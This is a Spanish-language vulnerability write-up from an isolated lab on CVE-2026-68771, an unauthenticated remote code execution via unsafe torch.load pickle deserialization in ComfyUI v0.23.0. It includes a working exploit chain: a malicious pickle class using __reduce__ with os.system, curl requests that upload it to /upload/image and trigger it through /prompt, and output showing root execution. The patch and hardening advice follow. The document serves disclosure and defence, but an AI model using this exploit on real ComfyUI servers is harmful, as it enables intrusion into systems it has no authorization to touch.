
Laboratorio de investigación de seguridad — RCE no autenticado mediante deserialización insegura en ComfyUI v0.23.0 (CVSS 9.8). Entorno Docker aislado, análisis técnico y documentación.
Solo con fines educativos. Úsalo únicamente contra sistemas de tu propiedad o para los que tengas autorización escrita explícita para probar.
ComfyUI es una interfaz gráfica de código abierto basada en nodos para ejecutar modelos de generación de imágenes y vídeo con IA de forma local. Permite a los usuarios construir complejas canalizaciones de generación conectando nodos visualmente — cada nodo representa una operación como cargar un modelo, codificar indicaciones de texto, muestrear o posprocesar imágenes. Su flexibilidad y su compatibilidad con una amplia gama de modelos (Stable Diffusion, Flux, HunyuanVideo y otros) lo han convertido en una de las herramientas más ampliamente adoptadas en la comunidad de generación con IA.
La aplicación expone una API HTTP local en el puerto 8188, a través de la cual el frontend se comunica con el backend para subir recursos y encolar flujos de trabajo de generación. Aunque está diseñada para uso local de un solo usuario, es habitual encontrar instancias de ComfyUI expuestas en redes internas o directamente en internet — en entornos de GPU en la nube, configuraciones de investigación compartidas o estudios creativos autoalojados — a menudo sin ninguna capa de autenticación adicional, coincidiendo exactamente con el modelo de amenaza que aborda esta vulnerabilidad.
En el momento de la divulgación, ComfyUI tenía más de 65.000 estrellas en GitHub y un ecosistema activo de nodos y extensiones personalizados, muchos de los cuales introducen una superficie de ataque adicional más allá de la aplicación principal.
CVE-2026-68771 es una vulnerabilidad de deserialización insegura (CWE-502) en ComfyUI v0.23.0 que permite a un atacante remoto no autenticado ejecutar código arbitrario en el servidor. La cadena de ataque combina dos endpoints no autenticados: para subir un archivo pickle malicioso, y para desencadenar su deserialización a través del nodo .
POST /upload/imagePOST /promptLoadTrainingDataset| Campo | Valor |
|---|---|
| CVE | CVE-2026-68771 |
| CVSS 3.1 | 9.8 (Crítico) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (Deserialización de datos no confiables) |
| Versión vulnerable | ComfyUI v0.23.0 (y anteriores sin la corrección) |
| Versión corregida | Commit 94ee49b1612824366a8631ea069b2a1fa5c73720 |
| Publicado | 31 de julio de 2026 |
weights_only)POST /upload/image — server.py, líneas 450-453:
@routes.post("/upload/image")
async def upload_image(request):
post = await request.post()
return image_upload(post) # no session or token verification
POST /prompt — server.py, líneas 927-928:
@routes.post("/prompt")
async def post_prompt(request):
logging.info("got prompt")
json_data = await request.json()
# no session or token verification
...
self.prompt_queue.put((number, prompt_id, prompt, ...))
Ninguno de los dos endpoints implementa ningún control de acceso. Cualquier cliente HTTP puede subir archivos y encolar flujos de trabajo sin autenticación.
LoadTrainingDataset.execute()comfy_extras/nodes_dataset.py, línea 1568:
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # ← VULNERABLE: weights_only not specified
torch.load() sin weights_only=True utiliza el protocolo pickle de Python para deserializar el archivo. Pickle no es un formato de datos — es un protocolo de serialización de objetos de Python que ejecuta el método __reduce__ de cualquier objeto durante la deserialización, lo que permite la ejecución de código arbitrario.
El nodo dependía del valor predeterminado histórico de PyTorch (weights_only=False), lo que lo convertía en la única llamada a torch.load en todo el código base sin el parámetro explícito. El resto del código base (comfy/utils.py, comfy/sd1_clip.py) ya lo pasaba correctamente.
Attacker (unauthenticated)
[0] CRAFT MALICIOUS PICKLE
└─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
└─ PyTorch's torch.save() format wraps it in a valid .pkl container
└─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
│
▼
[1] POST /upload/image
└─ Upload shard_0000.pkl (pickle with malicious __reduce__)
└─ Parameters: type=output, subfolder=cve_test
└─ Response: 200 OK {"name":"shard_0000.pkl", ...}
└─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
│
▼
[2] POST /prompt
└─ JSON workflow with LoadTrainingDataset node
└─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
└─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
│
▼
[3] LoadTrainingDataset.execute()
└─ Locates shard_0000.pkl in the directory
└─ torch.load(f) → deserializes the pickle
└─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
│
▼
[4] RCE as root
└─ uid=0(root) gid=0(root) groups=0(root)
El payload explota el protocolo reduce de pickle de Python. Cuando torch.load() deserializa el archivo, Python instancia el objeto llamando al invocable devuelto por reduce, ejecutando el comando controlado por el atacante antes de que se ejecute cualquier lógica de la aplicación.
El nombre del archivo debe coincidir con el patrón shard_*.pkl — codificado de forma fija en LoadTrainingDataset.execute() como filtro de descubrimiento de archivos:
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
pickle_craft.py:
class Exploit:
def __reduce__(self):
return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"
Salida:
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image
curl -s -X POST http://127.0.0.1:8188/upload/image \
-F "image=@shard_0000.pkl;type=application/octet-stream" \
-F "type=output" \
-F "subfolder=cve_test"
Respuesta:
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}
HTTP 200 sin token, sin sesión, sin cabeceras especiales.
curl -s -X POST http://127.0.0.1:8188/prompt \
-H "Content-Type: application/json" \
-d '{
"prompt": {
"1": {
"class_type": "LoadTrainingDataset",
"inputs": { "folder_name": "cve_test" }
},
"2": {
"class_type": "SaveTrainingDataset",
"inputs": {
"latents": ["1", 0],
"conditioning": ["1", 1],
"folder_name": "cve_test_out",
"shard_size": 1000
}
}
}
}'
Respuesta:
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)
Archivo: comfy_extras/nodes_dataset.py
Autor: Matt Miller
Fecha: 18 de junio de 2026
PR: #14543
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)
Un único parámetro. weights_only=True indica a PyTorch que utilice un deserializador restringido que solo acepta tensores y tipos primitivos de Python, rechazando cualquier objeto arbitrario con __reduce__.
El mensaje del commit lo resume claramente:
"LoadTrainingDataset era la única llamada a torch.load en el código base sin weights_only=True; comfy/utils.py y comfy/sd1_clip.py ya lo pasan. Las versiones recientes de PyTorch usan weights_only=True por defecto, así que esto es defensa en profundidad para instalaciones fijadas a versiones antiguas de PyTorch."
Nota sobre la versión de PyTorch: A partir de PyTorch 2.6, el valor predeterminado de weights_only cambió de False a True, lo que mitiga la vulnerabilidad en instalaciones modernas de PyTorch incluso sin la corrección del código. El CVE afecta especialmente a instalaciones que ejecutan PyTorch < 2.6, que era el entorno de producción típico cuando se publicó en julio de 2026.
Actualiza ComfyUI al commit 94ee49b o posterior. Una línea de código.
1. Autenticación en los endpoints de la API
ComfyUI está diseñado para uso local. Si se expone en una red, debe protegerse con un proxy inverso (nginx/Caddy) con autenticación básica, o utilizando el flag --multi-user con una gestión de sesiones adecuada.
2. Nunca expongas ComfyUI directamente a internet
El diseño de la aplicación asume un entorno local de confianza. La puntuación CVSS 9.8 refleja la ausencia total de controles de acceso en la capa de aplicación.
3. Validación del tipo de archivo en la subida
El endpoint /upload/image acepta cualquier extensión de archivo, incluida .pkl. Debería validar el content-type y la extensión contra una lista blanca de formatos de imagen reales.
torch.load ya lo tenían) sugiere que este nodo se añadió sin una revisión de seguridad.weights_only; el código vulnerable existió durante todo ese periodo.Análisis realizado en un entorno aislado con fines educativos. Laboratorio destruido tras la documentación.